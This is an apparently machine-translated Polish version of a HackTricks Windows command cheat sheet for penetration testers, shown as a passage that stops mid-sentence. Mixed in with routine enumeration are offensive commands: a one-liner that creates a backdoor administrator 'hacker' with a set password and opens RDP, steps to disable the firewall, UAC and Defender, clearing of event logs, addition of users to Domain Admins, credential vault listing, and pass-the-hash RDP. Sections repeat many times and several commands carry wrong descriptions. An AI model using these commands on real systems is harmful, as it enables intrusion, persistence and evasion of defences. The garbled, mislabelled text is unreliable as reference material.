56 KiB
Basic Win CMD for Pentesters
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć reklamę Twojej firmy w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCJI!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy Telegram lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do repozytorium hacktricks i hacktricks-cloud.
Informacje o systemie
Informacje o wersji i łatkach
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
Środowisko
Basic CMD for Pentesters
Podstawowe polecenia CMD dla pentesterów
System Information
Informacje o systemie
System Version
Wersja systemu
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
System Architecture
Architektura systemu
wmic os get osarchitecture
List Users
Wyświetl użytkowników
net user
List Groups
Wyświetl grupy
net localgroup
List Network Interfaces
Wyświetl interfejsy sieciowe
ipconfig /all
List Running Processes
Wyświetl uruchomione procesy
tasklist
List Installed Programs
Wyświetl zainstalowane programy
wmic product get name,version
File System
System plików
List Files and Directories
Wyświetl pliki i katalogi
dir
Change Directory
Zmień katalog
cd <directory>
Create Directory
Utwórz katalog
mkdir <directory>
Delete Directory
Usuń katalog
rmdir <directory>
Copy File
Skopiuj plik
copy <source> <destination>
Move File
Przenieś plik
move <source> <destination>
Delete File
Usuń plik
del <file>
Network
Sieć
Ping
Ping
ping <host>
Traceroute
Traceroute
tracert <host>
Netstat
Netstat
netstat -ano
Port Scanning
Skanowanie portów
nmap -p- <host>
User Accounts
Konta użytkowników
Create User Account
Utwórz konto użytkownika
net user <username> <password> /add
Delete User Account
Usuń konto użytkownika
net user <username> /delete
Add User to Group
Dodaj użytkownika do grupy
net localgroup <groupname> <username> /add
Remove User from Group
Usuń użytkownika z grupy
net localgroup <groupname> <username> /delete
Services
Usługi
List Services
Wyświetl usługi
net start
Start Service
Uruchom usługę
net start <servicename>
Stop Service
Zatrzymaj usługę
net stop <servicename>
Disable Service
Wyłącz usługę
sc config <servicename> start= disabled
Registry
Rejestr
List Registry Keys
Wyświetl klucze rejestru
reg query HKLM\Software
Read Registry Key
Odczytaj klucz rejestru
reg query <key>
Create Registry Key
Utwórz klucz rejestru
reg add <key>
Delete Registry Key
Usuń klucz rejestru
reg delete <key>
Task Scheduler
Harmonogram zadań
List Scheduled Tasks
Wyświetl zaplanowane zadania
schtasks /query /fo LIST /v
Create Scheduled Task
Utwórz zaplanowane zadanie
schtasks /create /sc <schedule> /tn <taskname> /tr <command>
Delete Scheduled Task
Usuń zaplanowane zadanie
schtasks /delete /tn <taskname> /f
Event Logs
Dzienniki zdarzeń
List Event Logs
Wyświetl dzienniki zdarzeń
wevtutil el
Read Event Log
Odczytaj dziennik zdarzeń
wevtutil qe <logname>
Clear Event Log
Wyczyść dziennik zdarzeń
wevtutil cl <logname>
Firewall
Zapora
List Firewall Rules
Wyświetl reguły zapory
netsh advfirewall firewall show rule name=all
Add Firewall Rule
Dodaj regułę zapory
netsh advfirewall firewall add rule name=<rulename> dir=in action=allow protocol=<protocol> localport=<port>
Delete Firewall Rule
Usuń regułę zapory
netsh advfirewall firewall delete rule name=<rulename>
Miscellaneous
Różne
System Information
Informacje o systemie
systeminfo
System Uptime
Czas pracy systemu
systeminfo | find "System Boot Time"
Date and Time
Data i czas
date /t & time /t
Tasklist
Tasklist
tasklist
Taskkill
Taskkill
taskkill /f /im <processname>
Run Command as Administrator
Uruchom polecenie jako administrator
runas /user:<username> "cmd.exe"
Exit Command Prompt
Zamknij wiersz polecenia
exit
set #List all environment variables
Niezbedne zmienne środowiskowe:
- COMPUTERNAME: Nazwa komputera
- TEMP/TMP: Folder tymczasowy
- USERNAME: Twoja nazwa użytkownika
- HOMEPATH/USERPROFILE: Katalog domowy
- windir: C:\Windows
- OS: System operacyjny Windows
- LOGONSERVER: Nazwa kontrolera domeny
- USERDNSDOMAIN: Nazwa domeny do użycia z DNS
- USERDOMAIN: Nazwa domeny
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
Zamontowane dyski
W systemie Windows można zamontować dodatkowe dyski, które są dostępne jako osobne litery dysków. Można to zrobić za pomocą polecenia diskpart
lub za pomocą interfejsu graficznego. Poniżej przedstawiono kilka przykładów dotyczących zarządzania zamontowanymi dyskami.
Wyświetlanie zamontowanych dysków
Aby wyświetlić listę zamontowanych dysków, można użyć polecenia wmic logicaldisk get deviceid, volumename, description
. Spowoduje to wyświetlenie informacji o wszystkich zamontowanych dyskach, takich jak identyfikator urządzenia, nazwa woluminu i opis.
Montowanie dysku
Aby zamontować nowy dysk, można użyć polecenia diskpart
w wierszu poleceń. Należy wpisać diskpart
, a następnie użyć poleceń list disk
, select disk X
(gdzie X to numer dysku) i assign letter=Y
(gdzie Y to litera, którą chcemy przypisać do dysku).
Odłączanie dysku
Aby odłączyć zamontowany dysk, można użyć polecenia diskpart
. Należy wpisać diskpart
, a następnie użyć poleceń list volume
, select volume X
(gdzie X to numer woluminu) i remove letter=Y
(gdzie Y to litera przypisana do dysku).
Automatyczne montowanie dysku przy starcie systemu
Aby skonfigurować automatyczne montowanie dysku przy starcie systemu, można użyć polecenia diskpart
. Należy wpisać diskpart
, a następnie użyć poleceń list volume
, select volume X
(gdzie X to numer woluminu) i assign letter=Y
(gdzie Y to litera, którą chcemy przypisać do dysku). Następnie należy wpisać exit
, aby wyjść z diskpart
.
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
Defender
Kosz
dir C:\$Recycle.Bin /s /b
Procesy, Usługi i Oprogramowanie
Procesy
Aby wyświetlić listę uruchomionych procesów, użyj polecenia:
tasklist
Aby zakończyć proces, użyj polecenia:
taskkill /PID <PID_procesu>
Usługi
Aby wyświetlić listę uruchomionych usług, użyj polecenia:
net start
Aby zatrzymać usługę, użyj polecenia:
net stop <nazwa_usługi>
Oprogramowanie
Aby wyświetlić zainstalowane oprogramowanie, użyj polecenia:
wmic product get name,version
Aby odinstalować oprogramowanie, użyj polecenia:
wmic product where name="<nazwa_oprogramowania>" call uninstall
Rejestr systemu Windows
Aby wyświetlić zawartość klucza rejestru, użyj polecenia:
reg query "<ścieżka_do_klucza>"
Aby zmienić wartość klucza rejestru, użyj polecenia:
reg add "<ścieżka_do_klucza>" /v "<nazwa_wartości>" /t REG_SZ /d "<nowa_wartość>" /f
Aby usunąć klucz rejestru, użyj polecenia:
reg delete "<ścieżka_do_klucza>" /f
Harmonogram zadań
Aby wyświetlić listę zaplanowanych zadań, użyj polecenia:
schtasks /query /fo LIST
Aby usunąć zaplanowane zadanie, użyj polecenia:
schtasks /delete /tn "<nazwa_zadania>" /f
Usługi zdalne
Aby sprawdzić, czy usługi zdalne są włączone, użyj polecenia:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
Aby włączyć usługi zdalne, użyj polecenia:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Aby wyłączyć usługi zdalne, użyj polecenia:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
Firewall
Aby wyświetlić konfigurację zapory sieciowej, użyj polecenia:
netsh advfirewall show allprofiles
Aby włączyć zapórę sieciową, użyj polecenia:
netsh advfirewall set allprofiles state on
Aby wyłączyć zapórę sieciową, użyj polecenia:
netsh advfirewall set allprofiles state off
UAC (User Account Control)
Aby sprawdzić ustawienia UAC, użyj polecenia:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
Aby włączyć UAC, użyj polecenia:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
Aby wyłączyć UAC, użyj polecenia:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
Windows Defender
Aby sprawdzić stan Windows Defender, użyj polecenia:
sc query WinDefend
Aby włączyć Windows Defender, użyj polecenia:
sc start WinDefend
Aby wyłączyć Windows Defender, użyj polecenia:
sc stop WinDefend
Windows Update
Aby sprawdzić stan Windows Update, użyj polecenia:
sc query wuauserv
Aby włączyć Windows Update, użyj polecenia:
sc start wuauserv
Aby wyłączyć Windows Update, użyj polecenia:
sc stop wuauserv
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
Informacje o domenie
Whois
Whois to protokół internetowy służący do uzyskiwania informacji o domenach. Pozwala na sprawdzenie dostępności domeny oraz uzyskanie informacji o jej właścicielu.
whois <domena>
DNS
DNS (Domain Name System) to system umożliwiający przypisywanie adresów IP do nazw domenowych. Pozwala na tłumaczenie nazw domenowych na adresy IP i odwrotnie.
nslookup <domena>
Reverse DNS
Reverse DNS to proces tłumaczenia adresu IP na nazwę domeny. Pozwala na sprawdzenie, jakie domeny są powiązane z danym adresem IP.
nslookup <adres IP>
MX Records
MX Records (Mail Exchange Records) to rekordy DNS, które wskazują, które serwery pocztowe są odpowiedzialne za obsługę poczty dla danej domeny.
nslookup -type=mx <domena>
SPF Records
SPF Records (Sender Policy Framework Records) to rekordy DNS, które określają, które serwery są uprawnione do wysyłania poczty w imieniu danej domeny. Pomagają w zwalczaniu spamu i fałszywych wiadomości e-mail.
nslookup -type=txt <domena>
DKIM Records
DKIM Records (DomainKeys Identified Mail Records) to rekordy DNS, które służą do weryfikacji autentyczności wiadomości e-mail. Pozwalają na sprawdzenie, czy wiadomość została wysłana przez uprawnionego nadawcę.
nslookup -type=txt <domena>._domainkey.<domena>
DMARC Records
DMARC Records (Domain-based Message Authentication, Reporting, and Conformance Records) to rekordy DNS, które określają politykę weryfikacji autentyczności wiadomości e-mail. Pozwalają na ochronę przed fałszywymi wiadomościami e-mail.
nslookup -type=txt _dmarc.<domena>
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
Dzienniki i zdarzenia
W systemie Windows istnieje wiele rodzajów dzienników i zdarzeń, które mogą dostarczyć cennych informacji podczas testowania penetracyjnego. Poniżej przedstawiam kilka przykładów najważniejszych dzienników i zdarzeń, które warto monitorować:
Dziennik aplikacji (Application Log)
Dziennik aplikacji zawiera informacje o zdarzeniach związanych z aplikacjami działającymi na systemie. Może zawierać błędy, ostrzeżenia, informacje o uruchamianiu i zamykaniu aplikacji.
Dziennik zabezpieczeń (Security Log)
Dziennik zabezpieczeń zawiera informacje o zdarzeniach związanych z bezpieczeństwem systemu. Może zawierać informacje o logowaniu, nieudanych próbach logowania, zmianach uprawnień użytkowników, atakach na system itp.
Dziennik systemu (System Log)
Dziennik systemu zawiera informacje o zdarzeniach związanych z działaniem samego systemu. Może zawierać informacje o błędach systemowych, awariach sprzętu, zmianach konfiguracji systemu itp.
Dziennik usług (Service Log)
Dziennik usług zawiera informacje o zdarzeniach związanych z działaniem usług systemowych. Może zawierać informacje o uruchamianiu, zatrzymywaniu, awariach i innych zdarzeniach związanych z usługami.
Dziennik bezpieczeństwa (Audit Log)
Dziennik bezpieczeństwa zawiera informacje o zdarzeniach związanych z audytem systemu. Może zawierać informacje o zmianach w politykach bezpieczeństwa, próbach dostępu do chronionych zasobów, zmianach w konfiguracji systemu itp.
Dziennik aplikacji internetowej (Web Application Log)
Dziennik aplikacji internetowej zawiera informacje o zdarzeniach związanych z działaniem aplikacji internetowych. Może zawierać informacje o żądaniach HTTP, błędach aplikacji, próbach ataków itp.
Dziennik rejestru (Registry Log)
Dziennik rejestru zawiera informacje o zdarzeniach związanych z modyfikacją rejestru systemu. Może zawierać informacje o zmianach w kluczach rejestru, dodawaniu, usuwaniu lub modyfikowaniu wartości itp.
Dziennik firewalla (Firewall Log)
Dziennik firewalla zawiera informacje o zdarzeniach związanych z działaniem firewalla systemowego. Może zawierać informacje o blokowaniu lub zezwalaniu na połączenia sieciowe, atakach na system itp.
Dziennik audytu (Audit Log)
Dziennik audytu zawiera informacje o zdarzeniach związanych z audytem systemu. Może zawierać informacje o zmianach w politykach bezpieczeństwa, próbach dostępu do chronionych zasobów, zmianach w konfiguracji systemu itp.
Dziennik aplikacji internetowej (Web Application Log)
Dziennik aplikacji internetowej zawiera informacje o zdarzeniach związanych z działaniem aplikacji internetowych. Może zawierać informacje o żądaniach HTTP, błędach aplikacji, próbach ataków itp.
Dziennik rejestru (Registry Log)
Dziennik rejestru zawiera informacje o zdarzeniach związanych z modyfikacją rejestru systemu. Może zawierać informacje o zmianach w kluczach rejestru, dodawaniu, usuwaniu lub modyfikowaniu wartości itp.
Dziennik firewalla (Firewall Log)
Dziennik firewalla zawiera informacje o zdarzeniach związanych z działaniem firewalla systemowego. Może zawierać informacje o blokowaniu lub zezwalaniu na połączenia sieciowe, atakach na system itp.
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
List all users
net user
Get detailed information about a specific user
net user <username>
Create a new user
net user <username> <password> /add
Delete a user
net user <username> /delete
Groups
List all groups
net localgroup
Get detailed information about a specific group
net localgroup <groupname>
Create a new group
net localgroup <groupname> /add
Add a user to a group
net localgroup <groupname> <username> /add
Remove a user from a group
net localgroup <groupname> <username> /delete
Services
List all services
sc query
Get detailed information about a specific service
sc query <servicename>
Start a service
sc start <servicename>
Stop a service
sc stop <servicename>
Restart a service
sc stop <servicename> && sc start <servicename>
Change the startup type of a service
sc config <servicename> start= <boot_type>
Replace <boot_type>
with one of the following values:
boot
(start at boot)system
(start during system startup)auto
(start automatically)demand
(start on demand)disabled
(do not start)delayed-auto
(start automatically, but delayed)
Disable a service
sc config <servicename> start= disabled
Enable a service
sc config <servicename> start= demand
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
Grupy
Grupy w systemie Windows są kolekcją użytkowników, którzy mają wspólne uprawnienia i dostęp do zasobów systemowych. Grupy są używane do zarządzania uprawnieniami i kontroli dostępu w systemie.
Wyświetlanie grup
Aby wyświetlić listę grup w systemie, możesz użyć polecenia net localgroup
lub net group
. Oto przykład:
net localgroup
Tworzenie grup
Aby utworzyć nową grupę, możesz użyć polecenia net localgroup
z opcją /add
. Na przykład:
net localgroup <nazwa_grupy> /add
Dodawanie użytkowników do grupy
Aby dodać użytkownika do grupy, możesz użyć polecenia net localgroup
z opcją /add
. Na przykład:
net localgroup <nazwa_grupy> <nazwa_użytkownika> /add
Usuwanie grupy
Aby usunąć grupę, możesz użyć polecenia net localgroup
z opcją /delete
. Na przykład:
net localgroup <nazwa_grupy> /delete
Usuwanie użytkownika z grupy
Aby usunąć użytkownika z grupy, możesz użyć polecenia net localgroup
z opcją /delete
. Na przykład:
net localgroup <nazwa_grupy> <nazwa_użytkownika> /delete
Wyświetlanie członków grupy
Aby wyświetlić członków danej grupy, możesz użyć polecenia net localgroup
z opcją /domain
. Na przykład:
net localgroup <nazwa_grupy> /domain
Zmiana nazwy grupy
Aby zmienić nazwę grupy, możesz użyć polecenia net localgroup
z opcją /rename
. Na przykład:
net localgroup <stara_nazwa_grupy> <nowa_nazwa_grupy> /rename
Zmiana opisu grupy
Aby zmienić opis grupy, możesz użyć polecenia net localgroup
z opcją /comment
. Na przykład:
net localgroup <nazwa_grupy> /comment:"Nowy opis grupy"
Zmiana typu grupy
Aby zmienić typ grupy, możesz użyć polecenia net localgroup
z opcją /domain
. Na przykład:
net localgroup <nazwa_grupy> /domain
Zmiana uprawnień grupy
Aby zmienić uprawnienia grupy, możesz użyć polecenia icacls
z odpowiednimi opcjami. Na przykład:
icacls <ścieżka_do_zasobu> /grant <nazwa_grupy>:<uprawnienia>
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
To list active sessions in Windows, you can use the query session
command. This command will display information about each active session, including the session ID, username, and session state.
C:\> query session
This will provide you with a list of all active sessions on the system.
qwinsta
klist sessions
Polityka hasła
A password policy is a set of rules and requirements that dictate how passwords should be created and managed within a system. It is an important aspect of security as weak passwords can be easily compromised, leading to unauthorized access to sensitive information.
Minimum Length: The minimum length of a password should be defined to ensure that it is not too short and easily guessable. A longer password is generally more secure.
Complexity: Passwords should be required to contain a combination of uppercase and lowercase letters, numbers, and special characters. This helps to increase the complexity of the password and make it harder to crack.
Expiration: Passwords should have an expiration period, after which they must be changed. This helps to ensure that passwords are regularly updated and reduces the risk of unauthorized access.
History: Users should be prevented from reusing their previous passwords. This prevents the reuse of compromised passwords and encourages the use of unique passwords.
Account Lockout: After a certain number of failed login attempts, an account should be locked to prevent brute-force attacks. This helps to protect against unauthorized access attempts.
Two-Factor Authentication: Implementing two-factor authentication adds an extra layer of security by requiring users to provide a second form of verification, such as a code sent to their mobile device, in addition to their password.
By implementing a strong password policy, organizations can significantly enhance the security of their systems and protect sensitive data from unauthorized access.
net accounts
Poświadczenia
Credentials (poświadczenia) to informacje uwierzytelniające, które są używane do potwierdzenia tożsamości użytkownika. Mogą to być nazwy użytkowników, hasła, klucze API, certyfikaty SSL itp. W kontekście pentestów, zdobycie poświadczeń może umożliwić hakerowi uzyskanie nieautoryzowanego dostępu do systemu lub aplikacji. Istnieje wiele technik, które mogą być wykorzystane do zdobycia poświadczeń, takich jak ataki brute force, phishing, keylogging, sniffing itp. Dlatego ważne jest, aby chronić swoje poświadczenia i stosować odpowiednie zabezpieczenia, takie jak silne hasła, autoryzacja dwuskładnikowa itp.
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
Trwałość z użytkownikami
Utwórz nowego użytkownika
net user <nazwa_użytkownika> <hasło> /add
Dodaj użytkownika do grupy administratorów
net localgroup administrators <nazwa_użytkownika> /add
Dodaj użytkownika do grupy zdalnego pulpitu
net localgroup "Remote Desktop Users" <nazwa_użytkownika> /add
Dodaj użytkownika do grupy użytkowników zdalnych
net localgroup "Remote Desktop Users" <nazwa_użytkownika> /add
Utwórz nową usługę
sc create <nazwa_usługi> binPath= "<ścieżka_do_pliku>" start= auto
Dodaj użytkownika do grupy usługodawców
sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>"
Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora
sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi
sc config <nazwa_usługi> obj= "LocalSystem" password= ""
Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu
sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= ""
Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi
sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= ""
Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora i interakcją z pulpitem
sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi i interakcją z pulpitem
sc config <nazwa_usługi> obj= "LocalSystem" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu i interakcją z pulpitem
sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi i interakcją z pulpitem
sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora i interakcją z pulpitem
sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi i interakcją z pulpitem
sc config <nazwa_usługi> obj= "LocalSystem" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu i interakcją z pulpitem
sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi i interakcją z pulpitem
sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami administratora i interakcją z pulpitem
sc config <nazwa_usługi> obj= ".\ <nazwa_użytkownika>" password= "<hasło>" type= own type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami systemowymi i interakcją z pulpitem
sc config <nazwa_usługi> obj= "LocalSystem" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami lokalnego systemu i interakcją z pulpitem
sc config <nazwa_usługi> obj= "NT AUTHORITY\LocalService" password= "" type= interact
Dodaj użytkownika do grupy usługodawców z uprawnieniami sieciowymi i interakcją z pulpitem
sc config <nazwa_usługi> obj= "NT AUTHORITY\NetworkService" password= "" type= interact
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
Sieć
Interfejsy, trasy, porty, hosty i pamięć podręczna DNS
Interfejsy
Aby wyświetlić informacje o interfejsach sieciowych, użyj polecenia ipconfig
:
ipconfig
Trasy
Aby wyświetlić tablicę tras, użyj polecenia route print
:
route print
Porty
Aby sprawdzić otwarte porty na hoście, użyj polecenia netstat
:
netstat -ano
Hosty
Aby sprawdzić listę hostów w sieci, użyj polecenia arp
:
arp -a
Pamięć podręczna DNS
Aby wyczyścić pamięć podręczną DNS, użyj polecenia ipconfig
:
ipconfig /flushdns
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Zapora ogniowa
Firewall (zapora ogniowa) to narzędzie oprogramowania lub sprzętu, które kontroluje ruch sieciowy między siecią wewnętrzną a zewnętrzną. Jego głównym celem jest ochrona sieci przed nieautoryzowanym dostępem i atakami z zewnątrz.
Typy zapór ogniowych
- Zapora ogniowa na poziomie sieci (Network-level firewall): Pracuje na warstwie sieciowej modelu OSI i kontroluje ruch na podstawie adresów IP i portów. Może blokować lub zezwalać na ruch na podstawie określonych reguł.
- Zapora ogniowa na poziomie aplikacji (Application-level firewall): Pracuje na wyższych warstwach modelu OSI i analizuje dane w pakietach sieciowych. Może rozpoznawać i blokować konkretne typy ataków, takie jak ataki DDoS czy próby wykorzystania podatności w aplikacjach.
Konfiguracja zapory ogniowej
Konfiguracja zapory ogniowej obejmuje określenie reguł, które określają, jakie rodzaje ruchu są dozwolone lub blokowane. Reguły mogą być oparte na adresach IP, portach, protokołach i innych czynnikach. Ważne jest, aby skonfigurować zaporę ogniową zgodnie z zasadami bezpieczeństwa i wymaganiami sieci.
Zalety zapory ogniowej
- Ochrona przed nieautoryzowanym dostępem do sieci.
- Blokowanie ataków z zewnątrz.
- Kontrola ruchu sieciowego.
- Zwiększenie bezpieczeństwa sieci.
Wnioski
Zapora ogniowa jest niezbędnym narzędziem w zabezpieczaniu sieci przed atakami z zewnątrz. Poprawna konfiguracja i regularne aktualizacje są kluczowe dla utrzymania wysokiego poziomu bezpieczeństwa sieci.
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Udostępnienia
Wyświetlanie udostępnionych zasobów
Aby wyświetlić listę udostępnionych zasobów na komputerze, użyj polecenia net share
:
net share
Tworzenie nowego udostępnienia
Aby utworzyć nowe udostępnienie, użyj polecenia net share
z odpowiednimi parametrami. Na przykład, aby utworzyć udostępnienie o nazwie "Dane" dla folderu "C:\Dane", wykonaj następujące polecenie:
net share Dane=C:\Dane
Usuwanie udostępnienia
Aby usunąć istniejące udostępnienie, użyj polecenia net share
z odpowiednim parametrem /delete
. Na przykład, aby usunąć udostępnienie o nazwie "Dane", wykonaj następujące polecenie:
net share Dane /delete
Modyfikowanie udostępnienia
Aby zmodyfikować istniejące udostępnienie, użyj polecenia net share
